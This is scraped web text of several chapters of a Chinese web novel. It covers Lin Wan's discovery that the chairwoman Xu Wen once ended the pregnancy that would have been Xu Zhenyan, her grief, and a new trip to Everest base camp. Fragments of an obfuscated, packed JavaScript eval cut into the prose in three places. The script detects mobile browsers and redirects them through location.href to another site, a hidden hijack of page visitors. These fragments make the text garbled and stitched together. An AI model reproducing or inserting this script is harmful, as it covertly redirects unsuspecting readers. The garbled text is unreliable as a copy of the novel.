d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102886|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鞋的鱼贩换手上的伤药,“让你别碰水,要不然早好了。” “梁大夫看你说的,不碰水哪来钱吃饭哦。”包扎好伤口,鱼贩道谢离开。 梁大夫这才有时间招呼等在旁边的林菀,“你有——”她一惊,下意识拍了下衣兜,“哎哟!你是、你是——” “您认识我?”林菀问。 “你是那谁的女儿,活脱脱一个模子印出来的!太像了。”梁大夫后退几步,上下打量,又连忙绕过柜台走来,绞尽脑汁想起一个名字,嗓门也大起来,“林珠莉!是吧?你是林姐的女儿!” “是的,我叫林菀。您认识我妈?”林菀鼻子有些酸。 “怎么不认识。二十多年前,她在我们这儿工作。当时是我爸看诊,我还在念书。”梁大夫忍不住拉住林菀的手,继续仔细端详,笑起来眼角皱纹很深,“哎呀,一看到你,我就想起你妈妈,想起我年轻时候了。我记得她在诊所工作五年,直到怀孕才没来,听说后来生了个女儿,出落得多水灵好看呐。” “我听说我妈在梁氏诊所工作过,所以来问问情况。” 这话让梁大夫有所误解,她脸色一变,“你不知道你妈已经——”她犹豫了下,“她是被——”她思来想去,两句话都烫嘴,没说完。 林菀知道她的意思,“我知道,她被丈夫害死了。”瞧见梁大夫神色伤感,林菀又说道,“不过,您之后有没有见过……跟她长得相似的人?” 梁大夫面露疑惑,“不就是你吗?”她拍拍脑袋,“啊对了,去年也有人来找她呢。” “什么人?”林菀眼睛一亮。 “她刚刚来这里工作时,花一个月工资救助了一个不认识的姑娘。”梁大夫慢慢回忆着,“具体情况我不清楚,当时我在外地上学。只听说那女孩在这儿住了一个月,都是她出钱看病,亲自照料。” 梁大夫说着回桌后到处翻找,“那姑娘去年还差人过来问林姐的情况,留了个电话,说有消息就告诉她。” 林菀有些失望,失望于不是林珠莉自己找上门,但又有些欣喜安慰,就算经济拮据也义无反顾拯救不相识的女同胞,是林珠莉会做的事情。就算她后来当了律师,也接了很多农村妇女的离婚案,律师费极其低廉。 “哎呀,找不到那张纸条了。你留个联系方式,我回头告诉你?” “好的,谢谢您。”林菀诚恳道谢。 从梁氏诊所出来,夜色已经降临。菜市场也早就关门。林菀脚步匆匆地踏上过街天桥,打算去地铁站。 灯光昏暗的天桥上,靠边铺着几张箱板纸,躺着个流浪汉。这流浪汉瘦瘦小小,从衣服到脚底板都脏得漆黑发亮。他头发乱糟糟,枕着个鼓囊囊的印旅行团logo的豁嘴破背包,旁边还摆着根当扁担使用的竹竿。他就这么在车水马龙的呼啸声中侧身睡觉。 林菀路过流浪汉,又忍不住转头,在包里找出几个硬币。 在看清流浪汉脸的一刹那她愣住了,连声音都变调,“毛拉?” 流浪汉一听到名字便睁开眼睛。在脏兮兮的脸颊对比下,他的眸子显得无比清亮。他愕然地坐起来,上下打量林菀一眼,“认错人了。”他起身开始收拾箱板纸。 “毛拉!”林菀震惊得无以复加,她坚信自己没认错,“你怎么这样了?” “都说你认错人了!”流浪汉将旅行包挂在竹竿一头,又将捆好的箱板纸挂在另一头,扛起来就要走。 “你开艺术画廊,忘了?” “……没有。” “你——”林菀赶紧跟上去,情急之下脱口而出,“你不是喜欢老式颜料么?你还收集巴黎绿!还有木乃伊!你收集木乃伊的——”那个叫什么来着?“木乃伊颜料!” 流浪汉猛地打住脚步,颤颤巍巍地转身,不可思议地望着林菀,嘴唇抖动半天,没有说出一句话。那是他藏在心底的最爱,眼前这个陌生的年轻女子怎么会知道? 半个小时后,天桥下的沙县小吃店。 毛拉拘谨地坐在靠门口的桌子边,尽量将自己的行李靠着脚放。箱板纸和竹竿放在门外,他时不时往外头看一眼,怕被环卫工抱走。他不肯去太贵的店,怕被赶走。 林菀给他点了两碗拌面,两笼蒸饺。不到十分钟,毛拉就将这些吃食一扫而光。林菀又点了两碗馄饨,三个牛肉饼。 等待上菜的间歇,毛拉不好意思地擦擦嘴。他脸太黑,以至于脸红了都看不出来。他从行李包里小心翼翼掏出来一个包得里三层外三层的月饼盒子,打开—— “这是巴黎绿,”他用黑漆漆脏兮兮的手指着,微微颤抖,“是梵高和莫奈都喜欢的颜色。”他又指着另一份颜料,“这是木乃伊棕,以前开店的时候从黑市买的。”他对着这些颜料如数家珍,抬起头来,用亮晶晶的眼睛看着林菀,无声地咧嘴笑,笑着笑着从眼角流下一行清泪。 林菀与他四目相对,也笑着流出眼泪。 “早就倒闭啦!什么都没有啦!”毛拉脸上还维持着笑容的模样,可说出来的话却无比难过。他卖了所有能卖的东西换钱交租金,可还是撑不下去。唯独这些宝贝,他舍不得卖。 “只要人还活着,就有机会东山再起。”林菀眼眶通红,递了纸巾过去。 毛拉却一个劲儿摇头。他已经被现实打击得失去斗志。 “我先帮你找个住处。”林菀说。 “我还不起钱。”他继续摆手。 “有手有脚的,把身体养好,还怕找不到工作吗?”林菀清清嗓子,压抑住自己的情绪鼓励他,“我帮你找。相信我,咱以后还要继续开画廊呢。” 毛拉擦了擦眼睛,笑得酸涩又怯懦,“你……为什么要帮我?” “……你大概忘了,曾经你也帮过我。”林菀一字一句地说。 70. 珑亚董事长徐雯 林菀东奔西跑,先帮毛拉找住处,又带他去重办身份证。 等到周一上班,她立即投入工作,开完会后给曹磊安排接下来的工作事项。突然,她听到有人在工位那边喊——“林菀在吗?” “我在。”林菀走回来,发现对方竟然是人事部的经理。 “卧槽。”她背后坐着的Maggie下意识脱口而出,连忙用文件遮住嘴巴。大事不好,林菀莫不是要被裁员了吧! 而人事经理站在桌边,毕恭毕敬地朝另一个人介绍,“这就是品牌中心员工林菀。” 林菀下意识看向这个人。她三十五岁上下,穿着西装套裙,留着齐耳短发,干练又大方。 “您好。”她主动伸出手。 “你好,”对方微笑着,“我是董事长秘书陈苒。你今天中午有空吗?董事长想见你。”她看了眼旁边拿着工卡犹豫要不要喊林菀去吃饭同时也是看热闹的几位同事,“时间安排不过来也没关系。我们可以另选时间。” 林菀虽然心里有无数个问号,但依旧说道:“我有时间。” 珑亚是一个国际化的大型企业。林菀只是十几万员工当中的一个小螺丝钉。她从校招进来后工作好几年,匆匆一瞥见到集团分部总裁的次数一只手都能数得过来,更别提董事长。而且就算见到分部总裁,能跟他搭话的都是部门主管以上级别员工。林菀和同事们都只能当背景墙。 那么,有什么事能惊动公司的最高层领导呢? 在众人好奇的目光里,林菀跟着陈秘书出去,很快发现了一个更尴尬的事情。她知道谭姿的名字,知道谭姿领导的名字,再往上她就不知道了,从前也压根不在乎。而且她负责的业务板块也没有涉及过公司领导个人宣传。更何况董事长十分低调,对外宣传需要领导上阵时都是CEO露面。她倒是知道CEO的名字。 所以,董事长叫什么?好像姓余? 似乎看出林菀的尴尬,陈秘书摁了电梯,顺口说道,“徐董在办公室等你。”她顿了下,“董事长姓徐,单名一个雯字。” 一听到这个名字,林菀脚下差点踩空。徐雯?!如果真的是徐雯,那岂不是就找到徐箴言了? 见到她脚步停下来,陈秘书体贴地按住电梯门,提醒道:“林小姐。” “不好意思。”林菀进电梯,声音透着小小的喜悦。 几分钟后,陈秘书带林菀来到顶层办公室。有人上来跟她耳语几句,陈秘书点点头,“我知道了。” 她微笑着对林菀说道:“我们去停机坪吧,看来你今天要做短途旅行了。”她带头往前走,“新区工厂有国家部委领导来访。本来定的是明天,临时改到今天下午。徐董得立即赶过去。” “那我——” 陈秘书打开通向停机坪的大门。大风涌进来,她提高声音,“你跟她一起去。” 烈烈长风里,涂成绿色与黄色识别区的地面上停着一架黑色直升机,机身印着珑亚的logo。 在黑西装外套着荧光马甲的工作人员打开直升机的门,等待林菀上机。 “谢谢。”林菀拉着扶手,微微弯腰进入直升机。 直升机内部跟驾驶舱隔开,空间宽敞,有两排皮椅相对而设,小桌板置物架一应俱全,跟豪华汽车内部差不多。而珑亚董事长徐雯已经落座在一侧。 她就像林菀记忆中的模样一般没有变化,只是年龄感更强,眉目神情也愈加精明强干,有着令人敬畏的上位者气势。见到林菀进来,她合上文件,“坐。” “您好,徐董。”林菀礼貌地打招呼,坐到对面。 “林小姐系上安全带,对,是这个。记得戴耳机。”工作人员转身问陈秘书,“您去吗?” “不,孙姐昨天就过去了。” 工作人员关闭舱门,再次提醒林菀戴耳机。直升机噪声大,需要戴降噪耳机说话。 林菀戴上耳机,看到徐雯正在打量她。由于有梦境中相处的记忆,就算眼前的徐雯气势更显,林菀还是自然地朝她一笑。 徐雯也弯起唇角,眉目中添了点人情味,“听说你工作表现很优异。去过新区工厂吗?” “没有。” “今天跟我一起去看看吧。我临时抽不开时间,只有辛苦你走一趟。下午送你飞回来。” “谢谢您。”此时直升机已经升空,平缓得林菀都没多少颠簸感。她的心思也不在窗外城市景色上,“您找我要吩咐什么事吗?” “梁大夫跟你说过吧?”徐雯示意林菀喝点茶水,“我一直在找你的母亲。梁大夫说得没错,你果然长得和林珠莉很像。” 林菀瞬间意识到什么,心里咯噔一下,“我妈年轻时救助过的人是您?”她不清楚徐雯怎么如此快速地定位到自己,想来肯定在背后调查了一番。 “嗯。听说你母亲后来出了事?”徐雯问。不知为何,她看到林菀的第一眼便油然而生一股亲切感,仿佛在哪里见过这个女孩似的。 林菀犹豫几秒,没有隐瞒,“她被人推得坠楼了。凶手是她的丈夫。”她看到徐雯惊讶之中若有所思的表情,又补充道,“他不曾善待过她,也不曾养育过我。我母亲去了精子库,才有了我。” “难怪当时她在做试管婴儿。” 这句话突然引起林菀的注意。这么算来,徐雯与林珠莉相识时只是十五六岁的小姑娘…… 林菀随即有了一种莫名的危机感。徐雯在生下徐箴言时便是这个年龄,可如果那时她被林珠莉救助……霎时间,林菀隐约猜到一个不敢想的事实,她的胃突然一紧,有些难受。 徐雯看到林菀神色变幻,便以为梁大夫跟她说了些什么,林菀自然是知情的。于是,徐雯平静地道:“我有一个女儿,同为人母,懂得她的感受。”她顿了几秒,“如果当初留下那个孩子,他如今比你大不了几岁。” 这一刻,林菀第一次感受到什么叫万箭穿心。她反反复复地告诫自己,这是工作场合,保持冷静,你能做到。可是痛苦却像铁锁一样栓在她脖子上,慢慢地勒紧,慢慢地叫她窒息。她听不到直升机的巨大轰鸣声,耳朵里只有自己乱掉节奏的心跳声,乱得仿佛下一秒她就要失去所有的意识。然而脑海里却死死烙印着几个大字:徐箴言在这个世界并不存在。 不同于林珠莉和涂淼真实地留下过痕迹,徐箴言压根就没机会出生。 不用徐雯多说,林菀能根据曾经林珠莉提到诊所的言论揣测到一切。在梦境世界,林珠莉在合成受精卵后立即怀孕,暂时离开诊所,休息保胎,生下林菀。她从未遇见过少女妈妈徐雯。 而在现实世界,受精卵被冷冻五年后才被拿出来用。林珠莉在原本应该怀孕的时刻没有怀孕,继续在诊所工作,遇见了怀孕的徐雯。 林菀哑声开口,“是我妈带你去做手术……” “对。”徐雯看向窗外。她已经在人世浮华的巅峰独站许久,深得旁人敬畏,自然也没有人知道她如野草生长的遥远少年时代。可林菀却知道。而所有人都会在某一刻从心底冒出埋藏多年的倾诉欲,徐雯也不例外。她看人极准,林菀是个值得信任的人。 “跟你一样,我的父母也早逝。成长之路上没人管,自然就成了一个无法无天的野丫头。中考前总是呕吐,攒了几块钱去诊所看病,遇见了你母亲。拿到结果,我其实很不在乎。可她却十分担心我。”如今,徐雯还记得林珠莉说过的几句话,说她太小,在什么都不懂的年纪怎么能承担怀孕的责任,否则势必耽误以后的大好年华。越是经济基础差的小镇女孩,越需要走出小镇,决不能早早当单亲妈妈,被生活困住手脚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102887|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我没钱,她就拿出了一个月工资,带我去大医院,做完手术回来后又照料我一个月。”徐雯回忆着遥远而又模糊的青年时代,略有不真实感,“中考我自然没考上,可我记住了你母亲说的话,南下打工,上夜校,进车企配件工厂流水线,成高级技工,拿专利,辞职跟人合伙创业,业余继续读书,读到MBA。一旦上了正路,事业发展就越来越快。” 徐雯仔细地思考着,“从某种程度上说,没有你母亲,就没有当年的我,也就没有如今的珑亚。”她看向一言不发的林菀,“所以,我必须得感谢她。” 林菀张了张嘴,她想说林珠莉若知道这一切必定十分开心。可她如鲠在喉,发不出声音。在现实世界,徐雯获得更加壮丽辉煌的事业,去外国开厂甚至能被总统剪彩。只是这个世界里没有徐箴言而已,但徐雯做错了吗?没有。她没有做错什么,林珠莉更没有做错。 两人唯一的区别,大概是林珠莉不管在现实世界还是梦境世界,都坚定地选择生下林菀。而徐雯,只在午夜梦回时选择了徐箴言。 “我很满意如今珑亚的发展节奏。我要做的不是国内第一,而是世界第一。”徐雯伸手轻轻摁了下额头,垂下眼眸,“不过……有时候看着我女儿,我会想如果当初留下那个孩子,他会是什么模样……这种话,我只能对你说。” 林菀的心弦突然颤动起来。他会是什么模样?他会长成一个身心健康,秉性温和,善良耐心,认真工作生活的普通人。他在银行工作,但极其擅长绘画。他大学时入伍,在云南遇见了他后来的妻子。他们结婚了,一起经过许多风波。最后他说,“如果你爱我,就请忘记我。” 林菀回过神来,脸颊已经流下两行清泪。半晌,她声音沙哑地开口,“他是一个好人。跟我母亲一样,他肯定是一个特别好的人。” 徐雯凝视着林菀,抽出纸巾递过去。她没有问为什么,只以为林菀触景生情。思来想去,她觉得自己还是不应该跟林菀说这些,没料到这孩子如此能共情。 为了转开林菀的注意力,徐雯又问,“对了,你最近在忙什么项目?” “林吾的画展。” “林画家啊,”徐雯了解地点头,神色似乎恢复平静,“我非常喜欢他的画。” 林菀与她四目相对,在徐雯眼里发现了熟悉的情绪——那是梦境世界中,徐雯看着她的,如母亲长辈一般的眼神。她曾经也用这样的眼神看着名义上的弟弟徐箴言。 徐雯,怎么可能不喜欢林吾的画呢?那是她第一个孩子绘画的复制品。 如今,林菀几乎能确定,林吾应该是致力于模仿徐箴言的周城。周城只是从犯,可能不会被判处死刑。林乃岳不可能再东山再起,可周城还有卷土重来的机会。 …… 林菀不知道自己是怎么乘坐飞机返回,又怎么下班出公司大门的。 她独自一个人在街头毫无目的地走路,望着街头繁华的霓虹夜景,走过一个个冷气扑面灯火通明商场,经过一棵棵挂满彩灯的景观树。她看到年轻的父母带着孩子出门散步,看到活泼的女学生们笑着闹着抱着才从娃娃机夹出来的玩偶,看到下班约会的情侣站在街头商量待会吃什么,看到时尚的男孩女孩们穿着嘻哈风的衣服踩着滑板穿过大街小巷。 她看到了各种各样的生活,唯独不包括她自己的。 走到街心公园,一阵凉风起,她伸出手,感受到柔风从她指尖穿过,带来清淡的栀子花香。 犹记得徐箴言曾经说过,他想不起在现实世界的自己是什么样的。“夏天这么热,就算是成为一阵凉风都可以。”他说。 林菀如今才明白他可能没有开玩笑。在这个世界,他是夏天傍晚,带来慰藉的凉风,亲吻过她的指尖,她的脸颊,然后消失不见。 …… 71. 徐箴言的新提议 林菀不愿意回家。一旦回到家里,关于徐箴言的记忆就疯了一般往她脑子里钻。 他曾经在沙发上坐着处理工作,他曾经在琴房陪她练琴,他曾经跟她一起在餐厅吃饭,一起在夜晚的阳台看风景聊天,一起在工作日的早晨醒来。 每一个角落都在提醒他存在过,每一个角度也在提醒他不曾来过。 林菀开始怀疑生活,到底哪边是真实的?而她这样日复一日地过两点一线的生活,又能找到什么? 站在客厅里她总是隐约感觉,从公司下班的他下一秒就会提着电脑包推门而入,一边脱外套,一边说起今日见闻,然后给她一个温暖的拥抱。 可是那扇门,直到深夜都不被人敲响。 然而在这寂静空旷里,他说的每一句话都带着回音似的,在林菀脑海里愈加清晰。 “我是你梦中的人,不是现实中的人。知道吗?你要在现实里生活,不要被梦境困扰。”他曾经这样说。 林菀突然眼皮一抖,心跳得极快。 “不要因为我而影响你今后的人生。你要开心乐观地继续往前走,拥有一份满意的事业,拥有一个完美的家庭。”他说。 涂淼笑嘻嘻的声音也从她脑海深处浮现。“如果到那边五年里我混得太差的话,就不来见你了。”说这话时,涂淼强行把徐箴言挤开,凑到林菀身边。 “我们怎么看不见你?”地铁站穿越之时,明明成功了,为何林珠莉的声音在沙哑地颤抖? 林菀突然腿一软,慢慢跪到地上。 她记起来,从莱音乐团出来时,听到徐箴言说他有一个新提议。当时林珠莉和涂淼没听内容便说同意。后来林珠莉解释说是要找合适的工具辅助他们进地铁。 可是他们后来根本没有找! 而且在林菀穿越回去的倒数第二次,他们甚至没来地铁站,说是在大师班忙活。处理林乃岳的油画又不是什么急事,何必忙到午夜十二点,错过重要时间点?就算林珠莉和涂淼忘记了,但徐箴言绝对不可能错过。 林菀再次意识到,最近她尝试带人穿越,频频受伤,伤情越来越严重。每每提起这一点,徐箴言都忧心蹙眉,沉默不语。 这一瞬间,林菀感受到什么叫浑身脱力。她有了一个情理之中但意料之外的猜想—— 徐箴言当初提出的新建议,根本不是找辅助工具,而是他放弃穿越。涂淼和林珠莉在猜到后也毫不犹豫地加入。带一个人实验都会导致林菀重伤晕厥,那么带三个人呢? 在最后一次地铁穿越时,徐箴言看到她浑身血迹斑驳,连眼角也开始溢血。就是那一刻,他猛地将她推进地铁。等到她再爬起来时,地铁门关闭,门外人消失不见。 可谁说他们就真的消失了?或许趴在地上,被地铁车厢遮挡住了也不一定。 穿越带人导致重伤,这件事无解。不管怎么做,她都会受伤,承受越来越严重的伤害。 为了避免她在带人穿越时重伤而死,徐箴言选择永远地被困在梦境世界里,被周城的阴影跟踪缠绕。林珠莉和涂淼也默认地留在那个世界,等待哪一天梦境结束,彻底消失。 他们的唯一诉求是——林菀必须活下去。 他们一起隐晦地提醒她要好好活下去,随后一起伪造了穿越成功的现实。剩下的,只需要林菀自己脑补,他们穿越后失忆了,没有守约相见。 …… 早晨,第一缕阳光照样在蜷缩在客厅地毯上的林菀身上。她慢慢地睁开眼睛,看到细小的灰尘在光亮中跳舞。 她心里只有一个念头——最后一次穿越时,站点显示屏损坏。她再也回不去了。 不知多久后,林菀从地上爬起来,洗漱梳妆,换好衣服拎包出门。街角的包子店依旧有人排队,地铁站依旧人来人往。就连公司里,所见到的不过都是些熟悉的老面孔。 “早啊,Nora。”Maggie特意给她带了一杯咖啡,迫不及待地开口,“昨天董事长找你说什么了呀?” “没聊什么。我不喝咖啡,谢谢。” “好吧。”Maggie耸耸肩,遗憾退场。想继续八卦吧,但林菀不说,唉。 十分钟后,开会。 林菀似乎很正常。她戴上眼镜,一如既往地坐在靠投影仪近的地方。她认真地听谭姿分析近期工作成果,认真地起身做汇报,认真地参与讨论。回到座位,她也耐心地跟实习生讲解问题。 等到实习生离开,她看着黑屏的电脑,突然起身朝洗手间冲去。 情绪上的痛苦终于带来了身体反应。胃疼得难受,仿佛五脏六腑都搅着疼。她趴在洗手池剧烈地呕吐。早上什么都没吃,她吐的都是胆汁。 “天呐,你怎么了?”一个女同事吓了一跳,连忙帮忙拍背,抽出纸巾递给她。 林菀接过纸巾,继续反胃呕吐,摆摆手示意没事。 女同事一步一回头地走了。 林菀擦了擦嘴巴,起身看到镜子里的自己头发汗湿,眼眶通红。 洗手间门口传来越来越近的脚步声,还有好几个女孩子的说话声。 林菀转身推门进隔间,脚步虚浮地坐到马桶盖上。满嘴的苦涩蔓延到胸口,她抬起头望着天花板,早已经泪流满面。 …… 似乎,人一旦麻木起来,便会发现时间也没那么有所谓。不管怎么过都是一辈子。 她在日历上写满每天的工作,让工作充斥自己的大脑,不留下任何胡思乱想的时间。过一天便在日历上划掉一天。慢慢的,一周过去了。紧接着,一个月过去了。夏天走到末尾。转眼,秋天也来了。 她不再搭乘午夜末班地铁,也不再关注油画圈。开会时谭姿说起某张油画,她平静地说自己不知道。 她开始计划搬家。在找到合适的新住处后,她利用周末休息时间,整理自己的用品。 周六,阳光灿烂的早上。林菀将过季的夏衣一件件叠好,装进纸箱。将一个衣柜清空后,她看到摆在底下的,最后一次穿越当天穿的衣服。 衣服满是血渍,洗净了也留下斑斑黄渍。林菀将这件衬衣拿出来,塞进旁边预备拿去丢掉的袋子。犹豫几秒后,她又将衣服拿出来抖抖,打算叠好放进置物箱。 而就在这时,衣兜里掉出来个东西。她捡起来一看,是一张折叠起来的纸条。由于经过浸泡搅洗,这纸条拆开便碎成好几块,字迹也模糊不清。 可她依旧认得出这是林珠莉的字迹,也能勉强辨别出内容——“请你一而再,再而三,三而不竭,千万次拯救自己于水火之中”。 这张纸条的出现,坐实了林菀的揣测——他们伪造穿越成功。 林菀曾提议写纸条,却没想到实践的是林珠莉。林珠莉将这张纸条塞进她兜里,鼓励她将来继续努力,不负人生,也是为了万一林菀发现事实真相,能有毅力坚持生活下去。 请你一而再,再而三,三而不竭,千万次拯救自己于水火之中。 林菀久久地盯着这张字迹模糊的纸条,慢慢捏紧手指。 请你一而再,再而三,三而不竭,千万次拯救自己…… 请你一而再,再而三…… 请你…… 林菀突然抬起头,看向窗外无比灿烂的阳光。那光线刺眼极了,带着无穷的力量扫清了她心中的阴霾。 她不能放弃,绝对不能放弃。她会拯救自己,也会拯救他们。 太阳活动周期是十一年,如今才过半。既然曾经穿越成功,那么将来势必也有可能。地铁不能再穿越,就找其他途径。她起码还有五年的机会去寻找,去尝试。 眼下才不是命中注定的结局。因为没有什么是命中注定的。遇到问题,就思考问题,解决问题,总能一步一步往前进。 此刻的她,毫无畏惧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102888|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >…… 说干就干,林菀的第一步就是复盘整个穿越过程。她记得是春末夏初的时候,第一次穿越。她第一个见到的是麦柯,要去参加电影节红毯活动。 “你还走过电影节红毯?”毛拉将一盘盐水毛豆放到林菀面前,听到她边写写画画,边喃喃念什么。 此刻,林菀正在第一次请毛拉吃饭的沙县小吃店。经过林菀的帮助,毛拉精神许多,人也干净起来。他其实很讲究打扮,只是没钱。如今他把从垃圾堆捡的皮带都洗得干干净净,束好他瘦削的腰身。他穿着一件印着豆豉工厂广告的围裙,戴着袖套——小吃店女老板好心地让他在店里当帮厨。 “这是我做的,请你吃。”毛拉在林菀对面坐下来。此刻店里没有其他人。 “那我再加一份馄饨,待会一起付账。”林菀半开玩笑,“是不是红姐给你涨工资了?”她想给毛拉省钱。他工资不高。 毛拉有些不好意思,“这是红姐请我吃,我留下来给你的。放心,我没动筷子。” 柜台后,红姐听到自己名字,抬眼温和地冲这边笑了笑。她岁数与毛拉差不多,一个人守着这个店好多年。 林菀怔忡了一下。她记得梦境里毛拉的二楼工作室里有他和妻子的合照。不过她当时没多注意。而且毛拉是偷偷接私活儿,做贼心虚鲜少提到老婆。他平时开销被老婆管得严,因为他开店乱花钱,总是买各种他惊为天物但卖不出去的东西。这也是他在现实里破产的原因之一。 此刻,林菀突然觉得红姐的笑容很是眼熟,仿佛见过。 料想到什么后,她瞬间高兴起来,语气也十分欢快,“好,我不客气了。谢谢红姐。” 毛拉看红姐也在笑,才放心继续寒暄:“上午来了两个骑行去西藏的年轻人吃饭,他们说毛豆好吃,特意打包了一份带走。” “确实好吃,那以后——”林菀突然顿住。她想说以后开画廊时旁边可以搭配一个红姐的餐饮店。 “以后怎么?” “以后我要吃盐水毛豆就来这儿。”林菀微微一笑。她还不能提画廊,这个话题会让毛拉重新缩回去。 她有些想念梦境里那个时不时有些得意,说话通慧,明哲保身,但有他自己不招人厌的小九九心眼的毛拉。 可话说出来,除了林乃岳和周城,她有谁不想念?她挥去脑海里那些杂思,换了话题,“话说,我之前也去过西藏。” “旅游?” “去工作。”林菀蓦然蹙眉。在梦境里,涂淼曾经问她是不是在西藏把脑子磕坏了。而她去莱音开会的时候,音乐总监也问她日喀则好不好玩。 林菀以为是自己跟麦柯提了西藏后,他告诉涂淼的。可这两人没有联系的理由。她跟涂淼显然比麦柯跟涂淼更亲近。那应该是她自己告诉涂淼去西藏了。西藏容易高反难受,她没跟涂淼一起出门,那她跟谁一起去的? 音乐总监甚至还提到日喀则。日喀则,就是珠峰大本营所在地。 这一刻,林菀太阳穴仿佛有针扎,起了一身鸡皮疙瘩。看来她在梦境里也去过日喀则。去日喀则旅游就肯定会去珠峰大本营。 现实里,她去日喀则攀登珠峰,带她的向导叫丹增—— 等等! 当时丹增说过,通讯系统有毛病,调试半天才好。通讯系统会受什么影响?太阳风暴导致的地磁暴! 林菀刷地站起来,连手都在微微颤抖。 从珠峰下来时,她的氧气面罩破裂。有一个队友主动将他的面罩换给她。等回到大本营,她就找不到这个人了。丹增还说她是思维混乱,根本没有这回事儿。 怎么可能没有这回事呢?她记得清清楚楚。 唯一的可能就是,她在下山途中第一次短暂地穿越,可能就那么几秒钟。而在梦境世界里,同时在下山的伴侣一直在注意她的情况。 换给她面罩的,是徐箴言。 72. 珠峰大本营 “谭姐!” 一大早,林菀就迫不及待地推开谭姿办公室的大门。Maggie说里头没外人,结果林菀开门才发现里面有一位其他部门的经理。 “抱歉。”她立即退出去。 “没事,你进来吧。”谭姿说。他们已经聊好了。那位经理拿着文件袋起身,出去时笑意盈盈看了林菀一眼。 “坐,正好吩咐你一件事。”谭姿调整坐姿,舒缓一下因为怀孕而浮肿的双腿,“我是高龄产妇,跟医生商量后打算剖宫产,时间定在十月八号。有一项工作我打算让你全权负责。” 林菀等着她说下去。 “国庆节,林吾的画展开幕。”谭姿将几份文件递过来,“他本人会参加十月六号的发布会,我们公司领导也会过去,届时官宣他是珑亚新车代言人。” “十月六号开幕?不是十月一号?”林菀非常诧异这个时间点,假期都快结束了。 “时间是他个人决定的,我们只能配合。”谭姿喝了口水,“你需要跟画展那边的负责人合作,安排好整个发布会流程。部门这边要出几个人,怎么配合,你详细了解后写个计划书出来。这个国庆节就辛苦你了。徐总也希望你有机会多锻炼。” 林菀思虑几秒,说道:“我会圆满完成任务。”既然把工作指派给她,她便不会拒绝。如今刚刚九月,她原本想提前请假去西藏,看来是不可能了。重心得先放到工作上,顺便好好锻炼身体,等项目结束后再去西藏。 接下来的时间,林菀一边抓紧时间努力工作,在画展和公司之间来回跑,一边想办法联系到了五月份带她攀登珠峰的高山向导丹增。 丹增最近带队少,她主要的时间花在了补课学习上,打算考去中国地大继续读书。而她告诉了林菀一个令人失望的消息——由于天气影响,珠峰北坡登顶窗口只在五月那几天,林菀参加的北坳徒步也就仅限于四月初到五月下旬。 “十月份如果想登山的话,可以去启孜峰,海拔6206米。”微信上,丹增如此说道。 林菀知道启孜峰,那是一座初级山峰,是登山新人冲刺六千米海拔的首选初级山峰之一。但那在拉萨附近,远离她曾经有过穿越经历的珠峰。 “我想去珠峰的话,必须等到明年五月份吗?” “也不是这么说,珠峰大本营全年开放,随时都能去。但从十月末到第二年四月份都是珠峰的风季,气温低风力大,气候恶劣。”丹增说,“不过国庆节游客很多,我需要去帮忙。你如果来的话,我带你去大本营。” 时间就是生命。林菀在这边多呆一秒,梦境世界里的三人就会多一分危险。思虑之下,林菀毫不犹豫地说道:“十一连着中秋节,九月底就放假了,我应该可以过来。” 公司管理很人性,林菀不能苛刻地要求项目里的同事把国庆节全拿来加班,肯定还要放假。她计划在九月中旬落实所有工作,月底二次核验,然后花四天用于西藏之行。回莱城后,她还有四天时间能等着发布会开始。对此工作安排,项目组里的大家为了确保假期也都极力赞成。 林菀迅速投入到新任务中,终于,安排好一切后,中秋节这天林菀如约登上前往拉萨的飞机。在拉萨停留一天修整,她确定自己没有任何高原反应后,跟着丹增前往日喀则定日县。 许久不见的珠峰大本营依旧是老样子,只不过气温极低,林菀将最厚的羽绒服裹在身上,还是觉得寒意刺骨。她甚至连手机都贴上了暖宝宝,以免手机罢工。 晚上,她吃了一碗简单的炒饭,不愿意躲在帐篷里听狂风撕扯外层帆布,便在外面来回溜达,反复回忆,试图走遍之前自己走过的地方,总是希冀哪次一抬头就发现时空已然变幻,远处新立的科考纪念碑消失不见。 白天的珠峰被旗云笼罩,不曾露出真容。到了夜晚,灿烂的星空暂且满足游客观景的期望。不少人熬夜抱着氧气瓶坐在帐篷外观望星空。到处手电筒灯光闪烁,逼得竖着三脚架拍摄夜空的人将机器搬得越来越远。 午夜两点多,丹增在的帐篷传来了不少骚动,连站岗的武警都被惊动。 林菀走到帐篷口,就见丹增匆匆钻了出来,“出什么事了?” “有个旅游博主私自绕过岗哨,往前进营地的方向去了。”丹增很是恼怒,“不知天高地厚的家伙,怎么能在这种天气进去!” 珠峰的天气能论秒变化,就算是夏天都要穿羽绒服,更何况在极端恶劣的冬季。那个莽撞的旅游博主此刻音讯全无,凶多吉少,还会连累所有救援人员。 很快,能帮上忙的导游、高山向导乃至有经验的驴友都进了最大的帐篷商量登山援救事宜。 